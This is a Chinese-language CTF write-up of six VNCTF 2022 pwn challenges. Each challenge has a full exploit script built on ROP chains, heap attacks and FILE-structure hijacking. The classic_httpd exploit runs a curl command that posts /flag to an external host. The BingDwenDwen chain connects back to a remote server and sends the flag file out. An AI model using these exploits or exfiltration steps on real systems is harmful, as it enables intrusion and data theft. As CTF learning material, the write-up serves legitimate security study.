VNCTF2022-pwn-wp
VNCTF-2022-pwn-wp
V&NCTF2022比赛中pwn的题wp,更新完毕。
- 上午在HideOnHeap中浪费了太多的时间,尝试了好几个思路都失败了,以后还是不能太头铁(下次还敢
- 平时得多积累一些有用的函数或脚本,比如_IO_str_finish拿shell的IO_FILE的构造的函数
clear_got
checksec

没有给libc,后来测出来远程使用的版本是libc6_2.23-0ubuntu10_amd64。
漏洞点

main函数就一个简单直接的栈溢出,但是got表被清空,没完全清空,还剩下__libc_start_main。后面的stdout和stdin也都在数据段上。
利用思路
清空了got表,考虑使用ret2syscall,发现程序中有syscall; ret。这里主要是利用了一个gadget:
0x000000000040075c: mov eax, 0; leave; ret;
结合end2函数,正好可以泄露出libc地址后,执行构造syscall调用read函数,再重新给got表填上。最终思路为:
- 
栈溢出并利用 end2泄露出__libc_start_main地址和_IO_2_1_stdout_地址
- 
使用libc-search1或者libc-search2查询出远程的 libc版本
- 
重新给 puts@got填为system
- 
调用 puts@plt,实际执行system("/bin/sh")获取shell
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
# remote libc: libc6_2.23-0ubuntu10_amd64
"""
0x000000000040077e: syscall; ret;
0x00000000004007f3: pop rdi; ret; 
0x00000000004007f1: pop rsi; pop r15; ret; 
0x0000000000400539: ret;
0x000000000040075c: mov eax, 0; leave; ret;
"""
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
sysret = 0x000000000040077e
payload = flat({
    0x60:[
        0x000000000040075c,
        pop_rdi,
        1,
        pop_rsi_r15, 
        0x601040,
        0,
        0x400773,
        pop_rdi,
        0,
        pop_rsi_r15,
        0x601008,
        0,
        sysret,
        pop_rdi,
        0x601008,
        elf.plt.puts
    ]
}, length=0x100, filler="\x00")
io.sendafter("Welcome to VNCTF! This is a easy competition.///\n", payload)
msg = io.recvn(0x38)
libc_start_main = u64(msg[:8])
stdout = u64(msg[0x20:0x28])
log_address("libc_start_main", libc_start_main)
log_address("stdout", stdout)
libc_base = libc_start_main - 0x020740 # __libc_start_main offset
log_libc_base_addr(libc_base)
log_address("stdout offset", stdout - libc_base) # validate libc
io.send(flat({
    0: "/bin/sh\x00",
    8: [libc_base + 0x045390]*6 # system
}))
io.interactive()
远程打:

easyROPtocol
这题其实本地很快出来了,但是远程打10次成功1次,搞不好中间哪一次就挂了,不知道是不是网的问题。每次send 0x1000个字节过去,要睡眠好长时间才能得到远程的回显,而且中间极容易挂,其实可以把报文长度调小一点,只要能打栈溢出就行。赛后尝试每次发送0xe00大小的字节过去,但还是挂(真是要命
所以这题啊,多试试,试试就逝世。
checksec

没有开PIE和栈保护。远程的libc版本为:libc6_2.31-0ubuntu9.2_amd64。
开启了沙箱:

漏洞点
在submit函数中,存在栈溢出:

利用思路
漏洞点很简单,关键是需要构造好报文,然后可以触发submit中的栈溢出漏洞。
分析出报文的组成为:
struct message {
	uint32_t heap; 		// 固定值 0x28b7766e
	uint32_t size; 		// submit函数中的memcpy会校验,依次为1 0x1001 0x2001 0x3001
	uint32_t _1; 		// 不能为0
	uint16_t type; 		// 要么为5要么为6
	uint16_t _2; 		// 不能为0
	uint16_t check_sum; // 校验和
	uint16_t _3; 		// 必须为0
	uint16_t flag1; 	// 可控制submit函数的分支
	uint16_t flag2; 	// 当type为6时,必须为0xffff
	char data[];		// 数据
};
计算校验和就是把整个报文加上一个fakeipheadfa,每两个字节取整数,然后异或,最后得到的值填充到check_sum。
因此,利用思路总结如下:
- 构造好4个报文
- 利用栈溢出,使用write泄露出libc地址(submit函数溢出后rdx为6,正好可以泄露地址)
- 再执行一次main函数
- 使用libc中的gadgets,用orw拿flag
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def calc_sum(payload):
    res = 0
    payload = b"fakeipheadfa" +  payload
    assert len(payload) % 2 == 0
    for i in range(len(payload) // 2):
        tmp = payload[2*i: 2*i+2]
        tmp = int.from_bytes(tmp, "little")
        res ^= tmp
    return res
def get_message(size, data=b""):
    payload = b""
    payload += p32(0x28b7766e) # head
    payload += p32(size)
    payload += p32(1)
    payload += p16(6)
    payload += p16(1) # 7
    # check sum后续补上
    payload += p16(0)
    payload += p16(1) # 10
    payload += p16(0xffff)
    payload += data
    last = payload[:0x10]+p16(calc_sum(payload))+payload[0x10:]
    return last
def create(size, data=b""):
    io.sendlineafter("4. Quit.\n", "1")
    sleep(1)
    data = get_message(size, data)
    print(f"send message, message length: {len(data)}")
    io.send(data)
    sleep(5)
def delete(idx):
    io.sendlineafter("4. Quit.\n", "2")
    sleep(1)
    io.sendlineafter("Which?", str(idx))
def submit():
    io.sendlineafter("4. Quit.\n", "3")
    sleep(3)
context.update(timeout=10)
payload = cyclic(0xfe8)
create(1, payload)
create(0x1001, payload)
create(0x2001, payload)
pop_rsi_r15= 0x0000000000401bb1
pay_attack = flat(
    [
        pop_rsi_r15, 
        elf.got.atoi,
        0,
        elf.plt.write,
        0x401a5e
    ]
)
create(0x3001, flat({112:pay_attack}, length=0x400))
submit()
libc_base = recv_current_libc_addr(offset=libc.sym.atoi)
log_libc_base_addr(libc_base)
libc.address = libc_base
delete(0)
delete(1)
delete(2)
delete(3)
payload = cyclic(0xfe8)
create(1, payload)
create(0x1001, payload)
create(0x2001, payload)
pop_rsi_r15= 0x0000000000401bb1
rop = ROP(libc)
rop.mprotect(0x404000, 0x1000, 7)
rop.read(0, 0x404600, 0x200)
rop.call(0x404600)
pay_attack = rop.chain()
create(0x3001, flat({114-8:pay_attack}, length=0x400))
submit()
io.send(asm(shellcraft.cat("/flag")))
io.interactive()
远程打:

FShuiMaster
比较常规的题,有一说一,这一题做得最快。
checksec

保护全开,远程的libc版本为:libc6_2.27-3ubuntu1_amd64。
漏洞点
在Edit函数,存在off by null:

利用思路
分析题目后得知,只能分配largebin chunk,可输入的范围大概处于0x430 ~ 0x700;增删改查都有。使用largebin attack结合一个off by null,然后打_IO_list_all即可完成利用。1
思路总结如下:
- 利用malloc残存的地址,泄露出libc地址和heap地址。泄露堆地址可以用largebin chunk上残存的地址。
- largebin attack,修改- _IO_list_all为堆地址
- exit(0) --> _IO_flush_all_lockp ---> IO_OVERFLOW调用链完成利用。- libc版本不高,这里我使用的是- _IO_str_finish。
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def increase(size, data="deadbeef"):
    io.sendlineafter("Five: Finished!\n\n", "1")
    io.sendlineafter("Number of words?\n", str(size))
    io.sendafter("please input U character\n", data)
def edit(idx, data):
    io.sendlineafter("Five: Finished!\n\n", "2")
    io.sendlineafter("please input the page U want 2 change\n", str(idx))
    io.sendafter("Now Change U this page :", data)
def dele(idx):
    io.sendlineafter("Five: Finished!\n\n", "3")
    io.sendlineafter("please Input the page U want 2 tear off\n", str(idx))
def scan(idx):
    io.sendlineafter("Five: Finished!\n\n", "4")
    io.sendlineafter("please Input The page U want 2 scan\n", str(idx))
def fini():
    io.sendlineafter("Five: Finished!\n\n", "5")
io.sendlineafter("Please Write U Name on the Book\n\n", "roderick")
increase(0x440) # 0
increase(0x448) # 1
increase(0x4f0) # 2
increase(0x440) # 3
dele(0)
edit(1, b"a"*0x440+p64(0x8a0))
dele(2)
increase(0x440) # 4
scan(1)
libc_base = recv_current_libc_addr(offset=0x3ebca0)
log_libc_base_addr(libc_base)
libc.address = libc_base
increase(0x448) # 5 1
increase(0x4f0) # 6
increase(0x440) # 7
increase(0x448, flat({0x440:"\x01"})) # 8
increase(0x450) # 9
increase(0x440) # 10
dele(7)
dele(9)
increase(0x500) # 11
increase(0x440, "a"*8) # 12
scan(12)
m = io.recvline()
heapaddr = u64_ex(m[8:-1])
log_address("heap address", heapaddr)
dele(1)
f = IO_FILE_plus_struct()
pay = f.getshell_by_str_jumps_finish_when_exit(libc_base + 0x3e8360, libc.sym.system, libc.search(b"/bin/sh").__next__())
increase(0x450, flat({0x58:heapaddr+0x110,
    0xb0:0xffffffffffffffff,
    0x100: pay
}) + b"\n") # 13
dele(13)
edit(5, p64(0x3ec0a0 + libc_base) + p64(libc.sym['_IO_list_all']-0x10)[:7]+b"\n")
increase(0x500)
fini()
io.sendline("cat flag")
io.interactive()
远程打:

classic_httpd
后悔了没有先看这个,这题似乎出得有点bug,对文件路径的校验存在问题,可以直接目录穿越拿到flag。
如题,想起最开始学httpd的时候看到的一个项目,虽然年代久远,但是很classic。
checksec

泄露地址后发现,远程的libc版本为:libc6_2.31-0ubuntu9.2_amd64。
漏洞点
- 对HTTP报文请求行处理时候的bug,可以直接读到flag

- 在sub_1EB2函数中,两处可以泄露地址:


- 在sub_1EB2函数中还有1处可以任意地址写任意值:

利用思路
对于漏洞1,直接发送:
"GET /../flag\r\n\r\n"
对于其他漏洞的思路:
首先分析出对应的结构体为:
struct Msg{
	int count;
	struct {
		struct {
		uint32_t type; 
		uint64_t addr1; 	
		uint64_t addr2;
		uint64_t write_content;
		
		} unit[0];
	}data;
};
处理流程梳理:
type:
	0xf1:
		*(addr1 + addr2) = write_content
	0x88:(count <= 1)
		printf("%p", *(addr1 + addr2))
	0x66: count == 0
		addr1 <= 4:
			printf("%p -> %s", addr1, addr2)
	0x12:
		pass
	0x22: addr1 == "ping" strlen(&addr2) <= 0xf
		show msg
然后,总结思路如下:
- 泄露程序数据段地址,得到程序加载的基地址
- 泄露libc地址
- 修改strcmp为system地址
- 构造报文,使远程执行命令system("curl -X POST -F \"flag=@/flag\" ip:port"),这里的ip:port,可以是公网服务器的地址和监听端口,或者在buuoj上用小号去linux basic开个机器(这里没法用bash反弹shell,buu之前修改规则。但是检测到有curl,因此可利用该命令输出flag)
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
ip = 'node4.buuoj.cn'
port = 27082
io: tube = remote(ip, port)
context.update(arch="amd64", os="linux", endian="little", log_level="debug")
table = [
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3E, 0xFF, 0xFF, 0xFF, 0x3F,
0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E,
0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28,
0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
]
def b64(payload: bytes) -> str:
    p = len(payload) % 3
    if p != 0:
        payload += (3-p) * b"\x00"
    res = ""
    for i in range(0, len(payload), 3):
        x = payload[i]
        y = payload[i+1]
        z = payload[i+2]
        
        a = x >> 2
        b = ((x & 3) << 4) | (y >> 4)
        c = ((y & 0xf) <<2) | (z >> 6)
        d = z & 0x3f
        for t in (a, b, c, d):
            idx = table.index(t)
            res += chr(idx)
    return res
def get_msg(data: bytes):
    return f"GET /submit.cgi?{b64(data)} HTTP/1.0\r\n\r\n"
# get addr
data = p32(1) + p32(0x66) + p64(4) + p64(0) + p64(0)
io.send(get_msg(data))
io.recvuntil("Let us look. Oh! That is ")
m = io.recvline()
# log_ex(f"{m}")
codebase = int16_ex(m[:14]) - 0x4070
log_code_base_addr(codebase)
# 0x4070
io.close()
# connect again
io: tube = remote(ip, port)
# 
data = p32(1) + p32(0x88) + p64(codebase) + p64(0x60c0) + p64(0)
io.send(get_msg(data))
io.recvuntil("OK! I give you some message!\n")
m = io.recvline()
libc_base = int16_ex(m[-15:-1]) - 0x1232c0
log_libc_base_addr(libc_base)
# log_address("printf ", libc_base + 0x64f70)
systemaddr = libc_base + 0x055410
io.close()
# connect again; exec cmd
io: tube = remote(ip, port)
# 
data = p32(2) + p32(0xf1) + p64(codebase) + p64(0x6048) + p64(systemaddr)
data += p32(0x22) + b"ping".ljust(8, b"\x00") + b"curl -X POST -F \"flag=@/flag\" xxx.xxx.xxx.xxx:xxxx" # 这里需要替换为自己的ip和端口
io.send(get_msg(data))
io.recvall(10)
io.close()
远程打,利用漏洞1:

利用其他漏洞,首先在公网服务器上监听一个端口:

然后攻击:

得到flag:

BingDwenDwen
这题看都没看,没想到也是简单题
checksec

漏洞点
拍脸上的栈溢出:

利用思路
题目贴心的给出了需要的gadgets,那么直接创建socket,反向连接公网服务器即可。做这题的时候我在本地重新编译了一份。
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
context.update(arch="amd64", endian="little")
if gift.remote:
    pop_rdi = 0x0000000000401356
    pop_rsi = 0x0000000000401358
    pop_rax = 0x000000000040135a
    pop_rcx = 0x000000000040135d
    pop_rdx = 0x0000000000401354
    sys_ret = 0x0000000000401351
    bss_addr = 0x403700
    push_rax_pop_rcx = 0x000000000040135c
    mov_rdi_rcx = 0x000000000040135f
else:
    pop_rdi = 0x000000000040082f
    pop_rsi = 0x0000000000400831
    pop_rax = 0x0000000000400833
    pop_rdx = 0x000000000040082d
    pop_rcx = 0x0000000000400836
    sys_ret = 0x000000000040082a
    bss_addr = 0x6015A0
    push_rax_pop_rcx = 0x0000000000400835
    mov_rdi_rcx = 0x0000000000400839
"""
s = socket(2, 1, 6)
connect(s, &addr, 0x10)
open(/flag)
read(/flag)
write(socket)
"""
payload = flat({
    0x1d0: [
        # socket
        p16(0x2), # AF_INET
        p16(10001,endian="big"), # PORT
        p32(0x7f000001, endian="big"), # ip 127.0.0.1,修改为公网IP
        p64(0), # padding
        "/flag".ljust(8, "\x00")
    ],
    0x10: [
        pop_rdi, 2,
        pop_rsi, 1,
        pop_rdx, 6,
        pop_rax, SyscallNumber.amd64.SOCKET,
        sys_ret, # socket(2, 1, 6)
        push_rax_pop_rcx,
        mov_rdi_rcx,
        pop_rsi, bss_addr+0x1d0,
        pop_rdx, 0x10,
        pop_rax, SyscallNumber.amd64.CONNECT,
        sys_ret, # connect(s, &addr, 0x10)
        pop_rdi, 
        bss_addr+0x1e0,
        pop_rsi, 0,
        pop_rax, SyscallNumber.amd64.OPEN, # open
        sys_ret,
        push_rax_pop_rcx,
        mov_rdi_rcx,
        pop_rsi,
        bss_addr+0x200,
        pop_rdx,
        0x30, # read
        pop_rax, SyscallNumber.amd64.READ,
        sys_ret,
        pop_rdi, 0,
        pop_rsi, bss_addr+0x200,
        pop_rdx, 0x30,
        pop_rax, SyscallNumber.amd64.WRITE, # write
        sys_ret
    ]
})
io.sendlineafter("Hello,Do You Like Bing Dwen Dwen?\n", payload)
io.interactive()
远程打:

HideOnHeap
这题一开始思路错了,都没往malloc_assert上去想......想着有啥侧信道的技巧可以爆破出来,后来尝试了几个,均因为版本太高,没法利用。赛后看了wp,自己复现一遍。
checksec

远程的libc版本为:libc6_2.31-0ubuntu9.2_amd64。
漏洞点
在delete分支有个double free

利用思路
程序最开始,将flag读到了堆上,因此,要想办法泄露堆上的信息。那么在assert中,会调用__fxprintf(stderr, ...),这个时候只要劫持了stderr,则可进行FSOP。题目没有IO,没办法泄露地址,基本上把拿shell的路堵死了。此处借鉴house of corrosion的思路,和house of husk很像,都是打global_max_fast,然后用fastbin chunk进行操作读写。libc-2.31对one_gdaget的执行条件更为严格。所以,最终还是走泄露这条路。
综上,利用思路为:
- 利用house of botcake构造overlapped chunk,利用tcache bin poisoning,爆破1/16,修改global_max_fast
- 同上,分配到stderr结构体处,为修改flags等做准备
- 利用大的fastbin chunk,修改stderr的_IO_write_base/ptr/end,保证_IO_write_base距离flag的堆地址很近
- 触发一个assert,我选择的是largebin chunk入链时的assert(chunk_is_main_arena(p)),此时会打印出flag
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def add(size):
    io.sendlineafter("Choice:", "1")
    io.sendlineafter("Size:", str(size))
def edit(idx, data):
    io.sendlineafter("Choice:", "2")
    io.sendlineafter("Index:", str(idx))
    io.sendafter("Content:", data)
def dele(idx):
    io.sendlineafter("Choice:", "3")
    io.sendlineafter("Index:", str(idx))
for i in range(9):
    add(0x80)
for i in range(2, 9):
    dele(i)
dele(0)
dele(1)
add(0x80) # 0
dele(1)
add(0x40) # 1
add(0x30) # 2
add(0x40) # 3
add(0x30) # 4
if gift.debug:
    payload1 = get_current_libcbase_addr() + 0x1eeb80 # global_max_fast
    payload2 = payload1 - 0x1eeb80 + 0x1ec5c0
else:
    payload1 = 0x7b80
    payload2 = 0x55c0
edit(3, p16_ex(payload1))
add(0x80) # 5 3
add(0x80) # 6
add(0x40) # 7
add(0x600) # 8
add(0x10) # 9
add(0x600) # 10
add(0x10)  # 11
dele(8)
add(0x14c0) # 8
add(0x14d0) # 12
dele(10)
edit(8, flat({0x380:[0, 0x21, 0, 0, 0, 0x21]}))
dele(7)
dele(1)
dele(3)
edit(5, p8(0x90))
edit(2, p16_ex(payload2))
add(0x40) # 1
add(0x40) # 3
add(0x40) # 7
edit(3, flat({0x38:0x14c1}))
edit(6, p32(0x61616161))
dele(1)
dele(8)
dele(12)
add(0x14b0)
edit(1, flat({0x4c0:[0, 0x615]}))
dele(1)
edit(7, flat(0xfbad1800, "\x00" * 0x19))
edit(6, p32(0x80))
add(0x10)
m = io.recv()
if b"flag" in m:
    log_ex(f"find flag: {m}")
else:
    raise RuntimeError()
io.interactive()
远程打:

引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/15890280.html

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号